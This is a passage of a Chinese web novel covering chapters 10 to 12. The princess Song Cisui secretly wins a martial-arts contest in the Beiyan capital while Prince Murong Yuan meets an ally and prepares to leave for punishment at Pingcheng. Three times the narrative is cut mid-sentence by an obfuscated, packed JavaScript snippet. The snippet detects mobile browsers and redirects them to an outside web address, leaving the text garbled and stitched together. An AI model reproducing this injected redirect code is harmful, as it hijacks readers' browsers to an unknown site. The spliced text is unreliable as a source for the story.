慕容远看着她一双眼儿水灵灵、怯生生的,一眨一眨,一幅难掩期待的模样,心中是又好气又好笑。 他可劲儿防备小公主,担心她缠着他、管束他,结果人家心里只有玩乐。一听他病好了,只想拍拍屁股走人,没有丝毫留恋。 脸被打得有些疼,慕容远面上挂不住,也不好意思再多立规矩,只好撇过头,恼声应了句,“你是王府的婕妤,想做什么自便。” 身旁传来克制的笑声,不消看都知道,小公主只怕高兴得要跳起了。 真是可恶! 这之后,慕容远一连两日都没再听到她的消息,估计早已快活得忘了形。 到了第三日,晚饭过后,近侍惊风照例将外面的消息带回来,就见自家主子大喇喇靠在榻上,有一页没一页的翻着穗穗写好的礼帖,明显是在出神。 惊风想了想,开口提起皇后,“宫里说,前日皇后回去之后,发了好大一通脾气。五皇子许是皇后安排来府上的。” 慕容远早有预料,头也不抬道, “就是母后给父王吹的耳边风。她担心我以后有得力的岳丈相助,对太子威胁更盛。所以让我去和亲,想将南楚这门差强人意的婚事塞给我。 殊不知,小公主也不是好惹的。 她肯定气得不轻,要不是太子最近不在上京,那天来叫嚣的就不是五皇子,而是太子了。” 惊风认同,“五皇子倒是比太子好对付,不过也是在三爷面前。那天属下在屋顶瞧着,三爷要是再不来,宋婕妤指不定要吃亏。” 想起那天府门前老五对小公主的调戏,慕容远“啪”的一声合上礼帖, “这小公主,瞧着挺笨。可她对付母后,分明又颇有心机。这么多年,我们都对母后毫无办法,她却能让母后吃瘪。” 惊风点头称是,又问,“既然三爷觉得宋婕妤心机深沉,留在王府安全吗?要不要放到别院去?” 慕容远思索片刻,“放到别院反而打草惊蛇。最近上京无大事,你亲自去盯着她。我倒要看看,究竟是谁授意,让她跟来北燕的。” 他在南楚皇宫后山的行踪如此绝密,宋辞穗却像从天而降,突然出现,救下他不说,还缠着他来北燕。 慕容远一直就没有打消过对她的怀疑。他觉得是有人摸清了他的行踪,安排了宋辞穗这颗棋子,故意接近他。 这也是他不能同意成婚、却还是愿意把宋辞穗带回北燕的原因之一。他想查清真相。 说起南楚的事,惊风又想起什么,“南楚嘉懿公主前几天就来信,说随时恭候。三爷卧床几日,一直不得空。如今要不要去见见她。” “自然。”慕容远敲敲几案,他自然要去见见这位配合他在南楚设计的盟友。 10.第 10 章 驿站外一间其貌不扬的茶肆,食客来来往往,树荫垂下,遮掩住二层临窗阁楼的一片好风光。 肤白貌美的女娘斜倚在栏杆上,雪白春衫,天青披帛挽在臂弯,望着阁楼下形形色色的旅人,有一搭没一搭的轻笑。 店小二惦记着这位貌美贵客,见她两个时辰都没叫茶,提了壶水往二楼去。 却被金冠软靴的魁梧郎君捷足先登,玄色披风在店小二眼前一卷,“啪”的一声,隔间的门被严丝合缝关上。 屋内散开一阵暖气,宋嘉懿听见动静,凭栏回身,率先挑笑道, “宋辞穗费劲千辛万苦想当你的夫人,却被封为婕妤。你就不怕她知道这一切都是你的诡计之后,找你算账吗?” 她直勾勾的笑看慕容远,直白到连问候没有多说一句。 这位大公主身上有着南楚人罕见的干脆利落,慕容远并不排斥与她交流,这也是当初在南楚,他愿意选她做盟友的原因。 慕容远随意的将披风往矮榻上一扔,走去煮起一壶茶, “是大公主没办到当初承诺的事情,让本王凭空多了位婕妤。大公主有胆子质问,就不怕本王告发你吗?” 当初在南楚,宋嘉懿主动找到他,表示可以让他和亲不成,只需要他配合自己。 于是两人一番计划,在皇宫后山设下陷阱,慕容远主动落陷,身受重伤,这婚自然是结不成了。 一开始,慕容远以为宋嘉懿只是单纯不想嫁给自己,才想出这个办法。 但事后细想,南楚大公主绝顶聪明,不可能不知道,北燕三皇子在南楚重伤,不仅仅是和亲不成的问题了,这很可能成为北燕发动战争的契机。 慕容远瞥了她一眼,挑眉追问道, “据本王所知,南楚皇室高层可都是想和亲的主和派。但北燕兵力远胜南楚,可是巴不得开战。 要是让楚皇知道你协助本王,破坏两国和平,结果会怎么样?” 这话问得宋嘉懿顿时面色凝滞。她只是想帮宋辞穗那丫头出气过过嘴瘾,哪晓得慕容远半点不肯落于下风。 “三王爷倒像是找我兴师问罪来了,” 宋辞穗不咸不淡宽慰道, “虽然计划有变,但最终你也没成婚,不是? 区区一个婕妤,随便打发到哪个院子里都行。 况且,宋辞穗这丫头一辈子都没有出过内庭,朝政之事一无所知,你就是放在身边也不妨事。” 慕容远知道宋嘉懿从结盟那天起,就一直在逃避开战这个话题,倒也不急着深究。 这会儿他对关于宋辞穗的事更感兴趣。他问宋嘉懿,“什么是内庭?” 这个地方他听宋辞穗提过好几次了。 宋嘉懿告诉他,“是南楚皇宫的内院,仆从做脏活杂活的地方。” 慕容远想起那天晚上,宋辞穗背着他时,雀跃的说起过四只两只脏衣桶的胡话。 难怪她说自己会搬脏衣桶时那么骄傲。原来她一直生活在这样的环境中。 慕容远忍不住冷哼一声,“你们南楚人果然很会玩弄人心。” 宋嘉懿一听便知慕容远误会了, “像宋辞穗那样低微的人,根本不需要我们亲自花精力敲打她。” 见慕容远狐疑更胜,宋嘉懿又解释道, “不是我们陷害宋辞穗被关进内庭的,是她生母得罪了父皇,她自打出生就一直在内庭。 我们有什么必要为她费神?父皇压根就不记得她,就连生辰八字,都是出嫁前才临时翻找出来的。” 南楚三妻四妾的风气盛行,人心有偏颇,就会有很多不受待见的小孩,这似乎是一件合情合理的事情。 慕容远一边嘲讽于南楚皇室的凉薄,一边,不知为何,又克制不住生出躁怒。 他甚至不想再听下去, “行了,今日会面,只是想告诉大公主,这次计划落空,本王的事还没办妥。本王会择机再去拜会公主。” 在南楚绝大多数人都希望和平时,如果宋嘉懿也是主和派,她绝不会像现在这样态度不明。 她越是遮掩,就越是说明,她出于某种原因,也想挑起战争。 她现在不想坦诚,也无妨,迟早有一天,他会让她和她的同党都为他所用。 慕容远吞下一盏浓茶,起身要走。 他这点为宋辞穗不忍的模样,自然逃不过宋嘉懿的眼睛。慕容远整理衣袍时,就见她轻勾红唇,意有所指道, “我还以为,三王爷是真心想娶小妹,想和我们南楚成为亲家。” 娶那小公主?慕容远嗤笑一声。本着为盟友负责的态度,他在临别时还是向宋辞穗坦白了一件事情, “离开南楚之前,曾有人暗杀本王。对方武功高强,手段阴险,不像你们南楚管用的招数。本王担心再生事端,才不得不赶紧带着宋辞穗离开。” 宋嘉懿倒是头一回听说这事,眼底划过些许不安,不过很快就被她嘲讽的笑意掩盖, “说到底,还是王爷贪生怕死。在这点上,宋辞穗比王爷勇敢了不知多少。一辈子没出过内庭,都敢跟着你嫁来北燕。” 提及此,宋嘉懿的神情严肃许多,视线定定盯着慕容远, “她是无辜被搅进来的,救了你的命,也免了我和亲之苦。 所以,我不管你们之间有没有感情,至少,不能少她吃穿,不能让她有危险。这点,我相信堂堂北燕三皇子,肯定能做到吧。” 慕容远笑她像给他立威的大姨姐,倒也都答应下来。 ==== 用过午饭,穗穗带着春杏乘车出府。 北燕人上街习惯骑马,穗穗虽然会舞刀弄枪,却于骑马一事上颇为生疏。这给出行带来不小的麻烦。 特别是,这辆马车的车夫明显是慕容远安排的人。 幸好,春杏有亲旧住在上京城。马车驶进闹市,春杏探头朝车外望见买通的熟人,低声道,“一切都在计划中。” 穗穗凝神道了谢,叫停车夫,托辞要去集市买东西。 初夏的集市上,有许多近郊贡来的花卉,落英缤纷迷人眼,吸引了不少衣香鬓影的小女娘。 车夫不疑有他,靠边停车,眨眼就见一袭轻薄衫裙的小姑娘走进人潮,清风撩动帷帽,面纱下四溢出银铃般的笑声。 路边兜售的摊贩挡住她的去路,再瞧去时,已经混入人群不见。 依靠春杏熟人的遮掩,主仆两短暂避开了车夫的视线。但只躲得了一时,车夫肯定是要追来的。 穗穗赶紧让春杏换上她身上的绢丝轻衫,又带上招摇的白纱帷帽,留在集市。 她自己则在集市上重新买了套不起眼的武服,发髻全部束在脑后,用一根墨色的发带高高盘起。从集市后门溜出时,已全然是一位普通少女模样。 一番折腾,待穗穗赶到那日看见的“比武赠刀”的告示前时,已过申时。 比武酉时结束,还有两刻钟。围观人群已经将告示围得水泄不通,都等着看哪位英雄赢下了武馆镇馆宝刀。 守在告示前的武馆小厮已经有些不耐烦,几次抬头观察天色,终于忍不住扬声道,“各路英雄好汉,若是没有其他人想应战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582718|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,此番比武便到此结束……” 话音未落, “等等,我来应战!” 穗穗跑得满头薄汗,停在人群外。 在人群张望过来的目光中,她仔细理了理衣袍发带,然后深吸一口气,阔步走过去,揭下告示,“这位小哥,我想应试,劳烦带路。” 武馆小厮一心只想早点收工,面对最后一刻出现的比试者,本就十分不悦。回头一看,见是一位弱不禁风的小姑娘,忍不住嗤笑,“你要比试?你还没有我肩高。” 穗穗仰头看着他,神色越发坚定,“告示上哪条规定了个子矮的人不能参与比试?我人矮志不矮。” 围观人群发出哄笑。有人从口音听出穗穗是南楚来的,起哄道,“让她去,正好让他们南楚人见识见识我们北燕的厉害。” 武馆小厮犹豫片刻,也只好不情不愿带着穗穗来到武馆。 擂台搭在一块草场上,四周围着长枪架,中央一面铜锣鼓,案桌上用红绸布仔细包着奖品宝刀。 观众席地坐在草地上,说说笑笑讨论着下注。 上一轮获胜者坐在擂台边,看见穗穗被带过来,他的目光骤然警惕,倏忽起身。穗穗只感觉眼前的天光都被遮去大半,她整个人还不及对方一只胳膊壮。 北燕不乏凶猛壮汉,但像这样巨人般的大块头,穗穗还是第一次见,她忍不住眼眸颤颤,倒退了一步。 此时距离酉时只剩半刻钟,武馆小厮好笑的提醒她,“若是酉时之前分不出胜负,按照规矩,也只能算你输。” 穗穗来不及犹豫,冲去枪架前随意抽出一根红缨枪,三两步杀到对方面前。 连带着对手在内,在场所有人不禁一怔。 这小姑娘不自量力来比试就算了,居然连武器都不带,这也太不把北燕人放在眼里了。 一时间,看席上的人都变了眼色,对小姑娘嗤之以鼻。 不成想,小姑娘身量小,力气却不小。一杆长枪往对手小腿狠打,虽说不至于撬动彪形大汉,但也让他乱了步伐。 几个回合下来,长枪被她用得得心应手,哪怕只是随意挑的,也锋锐得像宝器。 对方不甘被动挨打,索性怒喝一声,肉掌直接握住枪头,不顾鲜血淋漓,又朝小姑娘抓握,妄图以身形优势,直接禁锢住小姑娘的身板。 眼看那擒拿掌就要锁上玉颈,所有人不禁屏住呼吸,只道若真的被扼住咽喉,小姑娘怕是连性命都难保。 然而,恰在此时,小姑娘突然踩上枪杆,借着枪杆的弹性,飞身一跃,竟直直落在壮汉肩头,控制住了他的头颈臂膀。 接下来的招式已经看不清了。小姑娘身法奇快,如茵绿草上,只可见红缨绦飘扬转动,变幻莫测。不待人反应过来,擂台上已经结束了战斗。 还有半柱香到酉时。 她赢了。 在意料之中,穗穗呼出一口气,将长枪往草地里一插,望向看席粲然一笑,小脸红扑扑的,好似山野里肆意盛放的鲜花。 所有人都没想到,这个南楚来的小姑娘能赢。看席间一片寂静,连讨论下注的声音都停下。沉默了得有小半刻,才爆发出雷鸣般的叫好。 武馆小厮站在最前面,脸色纷繁复杂。 一开始,他压根不相信这小姑娘会赢。后来,他觉得她至少不可能在半刻中之内打赢。可事实是,这些她都做到了,而且是毫发无伤的做到了。 她没有夸大其词,这个南楚来的小姑娘,实打实的有真本事。 在身后人群激动的赞扬声中,武馆小厮终于诚服,请馆主出来颁奖。 11.第 11 章 穗穗正爽朗的与对手言和,就见武馆的冯馆主在几名小厮的簇拥下迎面走来,面颊劲瘦,姿态矫健,身上穿金挑银的武服一看就价值不菲。 “恭喜女郎君。” 他捧着红绸布托盘,微微躬身, “这是鄙馆镇馆宝刀苍月,好刀配英雄,能成为女郎君麾下之物是它的荣幸。还请女郎君笑纳。” 穗穗没有推脱,道了谢,乐呵呵的接下。 收好刀,冯馆主将穗穗引到馆内就坐,问起穗穗方才使的那一套枪法,流露出艳羡之意。 从冯馆主的体态就能看出,这人也常年行武,穗穗见是同道中人,便再与他演示了一遍, “这套七步枪法,在南楚很有名,这些只是皮毛。若想习好,还得配合上刀法。” 穗穗的枪法力量中不失灵敏,简单的招式却杀伤力十足,冯馆主只看一眼就知道面前的是位高手。 她或许还不知道,她刚刚赢下的可是上京赫赫有名的勇士丹。 而她居然还说,这套枪法不是最精妙的。真不知要是配合上刀法,左刀右枪,能高超到什么地步。 冯馆主当即亮了眼眸,“女郎君所说的招式,能否教于鄙人?” 穗穗犹豫着尚未出声,冯馆主已经呈上一袋沉甸甸的金子,“学费自然不会少了女郎君,这些先拿着,女郎君想要多少尽管开口。” 还真是个富有的武痴。穗穗被一袋子金灿灿的亮光晃了眼,沉吟开口, “并非小女推脱,只是家母病重,等着我筹钱买药。如今我生计尚未解决,恐没有时间……” “这好办!” 馆主当即一拍大腿, “武馆里正缺一名伙计,平日主要是去那些高门大户的府上,替他们打点武试狩猎,当当负卒。苦是苦了点,但钱多……” “我不怕吃苦出力,钱多、钱多就可以了。”穗穗笑得很不好意思。 事情出奇的顺利,没想到这么快就解决了心腹大患。与冯馆主说定教学时间,穗穗赶在日暮前离开。 去集市接上春杏时,上京城已经亮灯。 集市上,火树银花开,宝马香车行,游人如织灯如雪。 主仆两买了热气腾腾的汤饼,又一人举一只花灯,伴做逛完夜市的模样,回到马车。 车外凤箫声动、玉壶光转,夜风挑起车帘,璀璨灯火在穗穗眼里流淌划过,她心中激动、久久不能平静。 春杏抱着钱袋子,数钱数得乐不可支,“公主真厉害,一下午居然就赚了这么多钱。十两……二十两……一百两!” 要是留在南楚皇宫,帮浣衣局搬脏衣桶,怕是一年都赶不上今天一天赚的多。 春杏两眼都在放光。照这个速度下去,一天一百两,岂不是不到半年她们就能攒够娘娘的药钱! 穗穗不觉也笑了起来。 她想起下午赢得比试时,看客们从质疑到赞扬的模样。他们没有因为她是南楚人、是小姑娘,就否认她的胜利。 那些真心诚意、不带任何偏见的笑容,让她体会到一种在南楚从没有过的喜悦。 “北燕人虽然习性粗蛮了些,但他们心眼实诚,尊重有实力的人,英雄不问出处。我们留下是对的。” 春杏狠狠点头,“公主一身武艺再也不会白白糟蹋在深宫内庭,” 说着,春杏又拔出宝刀苍月,就着车外灯火,左看右看,啧啧称奇, “而且,公主习武这么多年,终于有一件属于自己的武器了,真是开了个好头。” 从始至终,穗穗对这把刀本身的兴趣就不大。这会儿,也只是淡淡看了一眼,然后伸手握住刀把,毫不留恋的扣进刀鞘, “我原是想将宝刀换成钱的,不过,既然冯馆主另外给了酬金,这把刀就送给瑾安师兄吧,他也爱刀。” 春杏不解,“公主赢来的,为什么要给别人?” 穗穗坚决的从她怀中拿过苍月,封进红匣子中, “那冯馆主仪态举止俱佳,还能在上京城拥有一大片草场开武馆,恐怕来头不小。 我担心他追踪宝刀下落,查出我的身份,我们无法交代。不如让瑾安师兄将苍月带离北燕。” 看见春杏失望的模样,穗穗笑叹一声,点了点她的鼻尖,“放心,我给自己留了武器,是我用酬金买的。” 穗穗从袖兜里摸出另外一把刀,相较宝刀苍月朴实许多,没有纯金刀鞘,也没有珠玉配饰,不过,胜在小巧趁手。 穗穗皓腕转动,随意地挽了个刀花,就足以让人眼花缭乱。 春杏不懂那么多,看见公主没亏着自个儿,她也放下心来。 上京城有宵禁,过了戌时,街上人烟骤散。行至王府门前,夜色沉寂,周遭鸦雀无声。 高于顶的院墙匍匐在暗夜里,像沉稳可靠的山脊,将凉风隔绝在外。 进了府内,视线明亮不少。简约大气的壁灯轻轻摇晃,有仆从抬水从倒座房前走过,传来熟悉的脚步声。 前几天觉得冰冷粗犷的府院,习惯之后,竟还觉出一种静谧安宁之感。 春杏往后院去处理变装的衣衫,穗穗心里怀揣获胜的喜悦,脚步雀跃,径直跨进垂花门,小跑着穿过中庭。 管事领着一队仆从,从正厅出来,见着穗穗,微微错愕,“婕妤回来了,三爷还在和五皇子叙话……” 话音未落,慕容贺的声音从正厅传来,“辞穗姑娘,我正和三哥说起你呢。我今儿看见你在集市上买刀了。” 穗穗心里“咯噔”一声。 明黄从屋里铺撒出来,她还没看见慕容贺,倒是先看见了慕容远。 他大刀金马的坐在窗边,穿了一件玄色常服,外袍衣襟开到肚腹,袖摆随意散开,搭在腿上。 听见穗穗回来,他微微扬头,看向窗外,浓睫下一片郁色,脸色黑得能滴水。 “辞穗姑娘,你想买刀,怎么不叫上我?上京的集市没有谁比我更了解了。” 慕容贺走到门前,挑帘迎接穗穗,穗穗只好硬着头皮走上前。 这个时辰,慕容远寻常都在他的院子,穗穗没想到会在正厅撞见他。 更没想到,自己买刀的事会被慕容贺看见。 她垂首站在慕容远跟前,不作声。分明也没做错什么,可只要一看见慕容远严厉的模样,想到自己瞒着他做的事情,穗穗就本能心虚。 两人无声对峙着,尴尬得厉害。 慕容贺的目光在两人身上来回逡巡,带笑的声音在耳边响起, “我从宫里出来,父皇要罚三哥去平城修祭台,让我叫三哥明天进宫一趟。” 这突如其来的消息打断了穗穗的所有心思。 被罚去平城?修祭坛? 她讶然看向慕容远,心里疑问重重。 慕容远感受到了她的目光,却未着一眼,只是将眉头拧得更紧,冲慕容贺训斥道,“我已经知道了,你还要说多少遍?。” 这火气莫名其妙,像是不想叫穗穗知晓似的。 慕容贺嘀嘀咕咕的挠了挠头,一溜烟走了。剩下穗穗和慕容远两人,相顾无言。 凉风从窗外涌来,夜色凝固,星子低垂,沉得好像要从天空落下。 良久,慕容远从榻上坐起,穿好靴子,理好衣襟,衣冠楚楚的派头,好似坐在皇宫大殿上。 “怎么跑去买刀了?” 穗穗瞥了他两眼,“防身。上次府门前遭遇了五皇子胡搅蛮缠,我担心以后遇上更危险的人。” 穗穗这番话也算不得说谎,这的确是她买刀的原因之一,故而说得毫无愧疚。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14600250|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 而且,五皇子是慕容远的弟弟,是他没有管教好自己的弟弟,穗穗的语气难免带上埋怨。 慕容远自然听出来了。他不动声色的打量着眼前人。 之前没来得及细看,今日听见她嗔怪,才发觉她身量堪称娇弱,藕臂细腰,细白玉颈暴露在微风里,碎发在雪肌上颤动,那般纤纤,仿佛一折就断了。 北燕人高大魁梧、面目凶悍,她估计是吓坏了,警惕些也是应当的。慕容远很快就在心里说服了自己。 他记得,上次被老五嘲弄之后,这小公主曾恶狠狠的说过,对付这种人就应该直接动手。 没过几天,她就把防身武器买回来了,行动力还挺强。 慕容远没来由的笑了一下,朝穗穗招手,“刀给我看看。” 穗穗愣了愣,大约是没想到慕容远居然这么有闲情逸致。幸好宝刀苍月给春杏收好了,她在袖兜摸挲片刻,掏出那把素刀递给慕容远。 慕容远显然瞧不上这把平平无奇的素刀,只摊在手心颠了颠,很快就放回案上,不愿再看一眼。 “也对,你压根没见过世面,本王在期待什么,”他捏了捏额角,“小五这点倒是没说错,你买刀之前,好歹问问我们。” 慕容远真是无时无刻不在嫌弃穗穗,穗穗有时真的很好奇,她在慕容远心中到底有多不堪。 “我看过王爷供在正堂的那把弯刀,也未见得有多好。” 穗穗并非强行挽尊。她的武师傅可是宁国公顾老将军,昔日南楚的强盛,大半都是靠顾老将军打下来的。 南征北战,也搜罗了不少宝贝,兵器库更是让人叹为观止。 其中,有一整面墙的宝刀,寒光四溢,杀气逼人,随便挑一把都不知比慕容远那把宝贝弯刀强多少。 慕容远嫌弃她其他的便罢了,但他不能质疑她于行武一事上的专业,质疑她,就是质疑顾老将军,就是不将整个南楚放在眼里。 思及此,穗穗挺直脊背,义正词严道, “外表华丽有什么用?刀是工具,要紧的是锋利,耐用,符合主人的习惯。 三爷别小瞧我这把刀,刀锋是最好的铁打的,拿在我手上,正符合我的身量,未见得比其他刀差。” 她长篇大论的习惯和平素一样,只是这次,她的眼神越发坚定,多了些不容亵渎的严肃。 慕容远倒是很少见到小公主这样认真的模样,一时也分不清她是在借刀喻人暗骂他,还是就事论事。 “随你吧,反□□里多的是刀枪。” 穗穗哼着应了几声,心绪平复下来之后,才意识,这好像是她第一次吵架说服了慕容远,又忍不住窃喜起来。 看来慕容远也不是不讲道理的人。因为之前同意她出府走动,就连她买刀,他都没有过多干涉,以后的日子想必会很自由。 正好,厨房来人,是在集市上买的汤饼热好了。穗穗心里高兴,主动跑去门外接下。 慕容远坐在窗边,依稀听见门外,好似是小公主交给了厨房羹汤一类的吃食。 抬头时,就见小公主眉眼带笑,献宝似的托着食盒走到案前,取出两只汤碗。 “上京城的集市又大又热闹,晚上的花灯也好看,我能有如此乐趣,得多谢三爷恩准我出府。我也不知三爷喜好,买了一家很有名的汤饼,给三爷做夜宵。” 穗穗说着,将一只瓷白调羹递给慕容远,却见慕容远神情微顿,瞟见汤饼的目光划过一丝失望, “怎么了?这汤饼有什么问题吗?” “无事。”慕容远一手捧汤碗,一手捏调羹,轻轻搅弄。 他自然不会说,他以为是小公主承诺给他做的雪莲羹,心里还小小的期待了一下。 不过,雪莲羹也不是什么稀罕物,吃不上,也不打紧。 12.第 12 章 慕容远常年从军,吃饭迅速,一碗汤饼呼哧呼哧喝干净了,穗穗这边才浅了一层。 热气缭绕,扑在小公主的粉面上,乌发上聚起一串晶莹的小水珠,看上去汗涔涔的,鲜活可爱。 慕容远搁下碗,抄着手看她,有一句没一句的嘱咐起来, “方才你也听到了,我要去平城修祭台,过几天就走。你自个儿在王府好好呆着,消停些。” “府里有护卫,一般人进不来。小五和另外几个弟妹我都打过招呼,以后轻易不会来寻你。你可放心。” “若是上街,就叫几个护卫跟着。闲来无事,也可去宫里看看。只是宫里的人狡诈,言行举止都得小心,莫要丢了我敦王府的脸面。” 他说一句,穗穗应一声。待到声音停下,穗穗碗里的热烟也散去大半。 她从汤碗里抬起头,眼底里还氤氲着热气,无端显得殷切。 她有很多问题想问。比如,这人只口不提要去多久、何时回来,也只口不提他要是一直不回来,她该怎么办。 以及,最重要的,她很想问问,这次被罚,是不是还是因为拒婚,是不是还是跟安平郡主有关。 依着慕容远这幅早有预料的态度,多半他在拒绝和亲时,就已经想到了这后来种种恶果。 事已至此,穗穗知道已无任何转圜可能。她只是很想知道,安平郡主在慕容远心里到底重要到了什么地步。 不过,因为慕容远戒备,她最后一句都不敢问,只轻笑着道了句,“一切顺利。” 乖巧的,懂事的,是一个合格的妾室该有的姿态。 慕容远心里生出几许熨帖,觉得这小公主还算聪明,也不是特别招人烦。 他本已走出门,又忍不住回望。 穗穗还留在屋内,招呼下人收拾盘盏,灵动的身姿映照在窗纸上,被烛火裹上一层毛茸茸的光,那么小小一个,真像只猫儿。 之前确实是他疏忽了,这样娇娇的女娘来到北燕,无异于羊入狼群,是他没考虑到她的安危。 慕容远扬声叫来惊风,“给她拨五名护卫,再去找管事,给她那院里添置些弓箭药石。” 毕竟答应过宋嘉懿,至少要保障小公主的安全。 惊风应下,又回禀道, “属下这几日一直跟着宋婕妤,她只在今日出过府。因为今日是十五,有集市和花灯,婕妤许是觉得新鲜,一直在逛集市,等着亮灯,故而回的迟了些。 旁的人她都没有见过,去的地方也不是南楚暗桩经常出没的地方。” 慕容远嗯了一声,这些和小公主交代的一致,“毕竟才刚满十六,贪玩也正常。” 他想起宋嘉懿说的,楚皇甚至都不记得她的存在,连生辰八字都是议亲前现找的。这样的人,怎么会和细作暗桩沾上关系呢?是他多心了。 慕容远叹笑着摇摇头, “你不必再跟着她,你跟我一起去平城,那里更需要你。” 惊风是慕容远手下的近侍首领,他的安排去向,往往都是生死攸关的大事。 听闻三爷要调自己平城,惊风敏锐的嗅到了一丝风暴来临前的气息,当即严肃了神情, “属下还以为,板刑足以消解陛下怒火,拒绝和亲一事便算了结了。没想到,还有惩罚。太子真是厉害,人不在上京,竟还能暗算三爷。” “是我自己的选择。”慕容远扶额轻叹,化为两声低咳,落进无边夜色。 往院落深处去,廊檐下灯火渐暗。风声呜咽,疏影幢幢,吹拂着慕容远微微低垂的头颈。 惊风举一盏孤灯跟在他身后,想问不敢问,为了安平郡主,宁愿离京修祭坛也要抗旨,真的值得吗? ==== 送亲队伍离行这天,北燕下起入夏的第一场暴雨。 柳絮吹满地,整个上京城笼罩在烟雨蒙蒙中,如梦似幻,有片刻好像是回到了江南。 穗穗去城门相送。 长兄站在雨幕里,回身同她道别,模样温润沉稳。 阿姐扬起纸伞看她,直到上马车前都还在劝她离开,音容跋扈的抱怨她不识好歹。 穗穗已经不生气了,她只觉得鼻尖酸得厉害。 虽然谈不上亲近,但长兄和阿姐是为数不多、愿意千里迢迢送她来和亲的人。 他们离开之后,这片土地上,就真的什么都不剩了。 没过几天,慕容远也整军待发。 穗穗不可能不牵挂,那毕竟是带她来上京的人,是她名义上的夫君。可她没有身份去送他。 静妃心善,慕容远启程这日,特意将穗穗请来宫中,好叫她有机会看一眼慕容远。 春和轩的花圃淋了几日暴雨,绿的愈肥,红的愈瘦,满目苍翠,一派清清静静的初夏风景。 “阿远每次离京,都会来本宫这儿告别。辞穗姑娘权且歇着,过会儿他父皇叮嘱完,他就过来了。” 静妃卷起竹帘,笑盈盈的向穗穗招手,面前的席案上,又是满满一大桌美味佳肴。 上次穗穗到春和轩的时间太晚,静妃只准备了几样夜宵糕点,心中一直遗憾得很。 这次再得了机会,她一早就吩咐厨房煲上南楚惯爱的甜汤,又做了好多热气腾腾的菜肴,仅是香气就让人忍不住口水直流。 穗穗不记得听谁说过,喜欢一个人其实很简单,就是想让她吃饱穿暖。 许是离别伤情在心中压抑久了,她心口突然滞涩得厉害,小脸埋进粥碗里,支支吾吾说着, “我来北燕这么久了,今日才知道,北燕也是食粥饭的。” 她原想开个玩笑,没想到,笑着笑着,泪珠就从眼尾滑下来。 静妃心疼坏了,赶忙递去绢帕, “是阿远的错,他太粗枝大叶,怕是根本没有顾及到这些事情。” 穗穗抹着泪,自个儿也觉得哭的莫名其妙,小脸漫上一层羞红,“我又不是小姑娘了,吃饭这种小事,倒是不用仰仗三爷。” 静妃宠溺着她,柔柔轻拍她的后背,哄了好一会儿,才同她解释说, “其实,阿远被拐去南楚当人质之前,口味清淡,喜欢喝粥,还喜欢吃南楚贩来的瓜果蔬菜。 只是,他回来之后,陛下觉得他这些习惯,像是怀念在南楚当人质的日子,不允许他再吃,敦王府也再没有出现过这些吃食。” 北燕皇帝连这些都要约束?未免太苛责慕容远了。 穗穗抬起婆娑泪眼,和静妃对视一眼。静妃神情严肃,完全不像在开玩笑。 “北燕的食物味腥而烈,他刚从南楚回来时也吃不习惯。他是硬生生逼着自己,吃了吐,吐了吃,反反复复,才纠正过来。” 穗穗深深蹙眉,心中怔怔,良久才道了一句,“他这个习惯与我还挺像。” 当初那块她费劲千辛万苦得来的羔羊肉,她舍不得丢,也是逼着自己吃了吐,吐了吃,非得把这坏毛病改掉不可。 只是慕容远没有她那么幸运。她改不了习惯,顶多是浪费了几块银子;可慕容远若是不改,搞不好是要掉脑袋的。 慕容远生活的环境,远比她想象的可怕。 耳畔落下一声哀叹,静妃轻摇蒲扇,一股浓烈的香草味道从羹汤里传来。 穗穗恍惚垂头,骨瓷小碟里备有刺芹,方才她想得出神,已经不知不觉撒了不少到汤碗里。 大多数人不吃刺芹,穗穗担心静妃反感,面有愧色,“娘亲说刺芹是好东西,从小就让我多吃。” 静妃笑得开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642683|154680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀,“你和阿远的习惯确实相似,他随我,也喜欢吃刺芹。” 穗穗看向静妃娘娘案前,才见她的汤碗比自己的有过之无不及,几乎被绿色浮沫掩盖。于是挂着两行泪,笑得眉眼弯弯。 两人吃饱喝足,片刻后,院外响起宫人的通传。 慕容远一袭蟒纹银甲,大步流星走进春和轩,玄色披风飘扬在身后,他整个人是那般威风凛凛,丰神俊朗。 静妃朝穗穗飞快的使了个眼色,让出穗穗身边的位置,坐到另一侧的红木椅上去。 慕容远倒是坐在了穗穗身边,却全程未往她身上看一眼,还将银甲头盔放在两人中间,阻挡住两人接触的可能。 直到与静妃说完话,临了要告别时,他才站在门前,不咸不淡的对穗穗道了一句,“不要忘记我嘱咐你的话。” 身上银甲的冷光映照在他的脸颊眉宇,他整个人就像铁器一样冰冷。 穗穗一颗心沉了沉,垂头无言,跟着静妃去宫墙上相送。 